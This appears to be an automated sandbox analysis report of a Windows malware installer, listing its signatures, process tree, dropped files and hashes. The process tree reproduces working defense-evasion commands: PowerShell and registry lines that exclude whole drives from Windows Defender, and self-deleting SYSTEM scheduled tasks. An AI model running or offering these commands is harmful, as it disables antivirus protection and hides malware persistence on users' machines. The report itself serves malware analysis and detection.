Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 08:54

General

  • Target
    install.2.0.01.exe
  • Size 38.9MB
  • Sample261023-kt955ace63
  • SHA256 2b304b398aba531b12710e274b1f0104311e2a25dc2d4911c42f07b64e4055d4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3336
  • C:\Users\Public\4glkpG\CuVo5h.exe
    "C:\Users\Public\4glkpG\CuVo5h.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2428
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4glkpG\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:4104
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4glkpG\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1916
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2460
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3748
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:3092
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:708
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4504
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4152
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:3340
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4656
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5632
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2120
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:1752
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5864
              • C:\Windows\system32\cmd.exe
                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4glkpG" /t REG_DWORD /d 0 /f
                1⤵
                • Executes a command shell one-liner
                PID:2164
              • C:\Users\Public\4glkpG\CuVo5h.exe
                "C:\Users\Public\4glkpG\CuVo5h.exe"
                1⤵
                  PID:4700
                • C:\Windows\system32\cmd.exe
                  cmd.exe
                  1⤵
                    PID:1864
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    PID:2960

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                        • Size 1KB
                        • SHA256 5568366d32130768a0ad7d5b05302ac7b88afc5e54173f87822814ba25f8d7d1
                        • MD5 SHA1 SHA512 TLSH

                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                        • Size 1KB
                        • SHA256 833b02c6c2ef8542ffe0bbe110c817398431ee1c5e99008655c60df1b6b66b8c
                        • MD5 SHA1 SHA512 TLSH

                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                        • Size 512B
                        • SHA256 c4f4f79487da0894f019589dfe81ed1c5a819dec886b8745eee0729293398130
                        • MD5 SHA1 SHA512 TLSH

                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                        • Size 506B
                        • SHA256 8cd098ee7883aaf59f40ce75007b955819843f5ecd09108349b64bf096b2b55a
                        • MD5 SHA1 SHA512 TLSH

                        CuVo5h.exe

                        • Path C:\Users\Public\4glkpG\CuVo5h.exe
                        • Size 135KB
                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        UxEnhance64.dll

                        • Path C:\Users\Public\4glkpG\UxEnhance64.dll
                        • Size 3.1MB
                        • SHA256 550a9a64be6d88f0a012010c27c63fae9283a1d34cc2f0e55d4e208d3f6ca414
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        adoresd.dat

                        • Path C:\Users\Public\4glkpG\adoresd.dat
                        • Size 4.8MB
                        • SHA256 9980921a80515b2a74856af53a0d17c5a1a4441df22dabaaf48d2fa8cd0a44b2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        msadox.tb

                        • Path C:\Users\Public\4glkpG\msadox.tb
                        • Size 8KB
                        • SHA256 94769727683291722c0e9d1c2b50148a807d66c543e4dd2e7aadf4e7d4940dc3
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/2812-560-0x000001DA2EB20000-0x000001DA2EBAA000-memory.dmp

                        memory/2812-559-0x000001DA2EB20000-0x000001DA2EBAA000-memory.dmp

                        memory/2812-567-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-566-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-536-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-539-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-538-0x00007FF8C2CA0000-0x00007FF8C2CA2000-memory.dmp

                        memory/2812-543-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-544-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-545-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-564-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-550-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-558-0x000001DA2EA40000-0x000001DA2EA8E000-memory.dmp

                        memory/2812-562-0x000001DA2EB20000-0x000001DA2EBAA000-memory.dmp

                        memory/2812-561-0x000001DA2EB20000-0x000001DA2EBAA000-memory.dmp

                        memory/2812-556-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/2812-531-0x00007FF8A0080000-0x00007FF8A059E000-memory.dmp

                        memory/2812-530-0x00007FF8C2C90000-0x00007FF8C2C92000-memory.dmp

                        memory/2812-546-0x000001DA2DDD0000-0x000001DA2E6A7000-memory.dmp

                        memory/3336-1-0x0000000000560000-0x000000000056E000-memory.dmp

                        memory/3336-0-0x0000000000560000-0x000000000056E000-memory.dmp

                        memory/3336-525-0x00007FF8BA680000-0x00007FF8BA692000-memory.dmp

                        memory/3336-504-0x00007FF8BA680000-0x00007FF8BA692000-memory.dmp

                        memory/3336-2-0x0000000000570000-0x000000000057C000-memory.dmp

                        memory/3336-524-0x0000000000560000-0x000000000056E000-memory.dmp

                        memory/4700-582-0x00007FF8C2CA0000-0x00007FF8C2CA2000-memory.dmp

                        memory/4700-580-0x0000025150720000-0x0000025150FF7000-memory.dmp

                        memory/4700-577-0x00007FF8A0080000-0x00007FF8A059E000-memory.dmp

                        memory/4700-584-0x0000025150720000-0x0000025150FF7000-memory.dmp

                        memory/4700-588-0x0000025150720000-0x0000025150FF7000-memory.dmp

                        memory/4700-591-0x00007FF8C2C90000-0x00007FF8C2C92000-memory.dmp

                        memory/4700-590-0x0000025150720000-0x0000025150FF7000-memory.dmp

                        memory/4700-589-0x0000025150720000-0x0000025150FF7000-memory.dmp

                        memory/4700-587-0x0000025150720000-0x0000025150FF7000-memory.dmp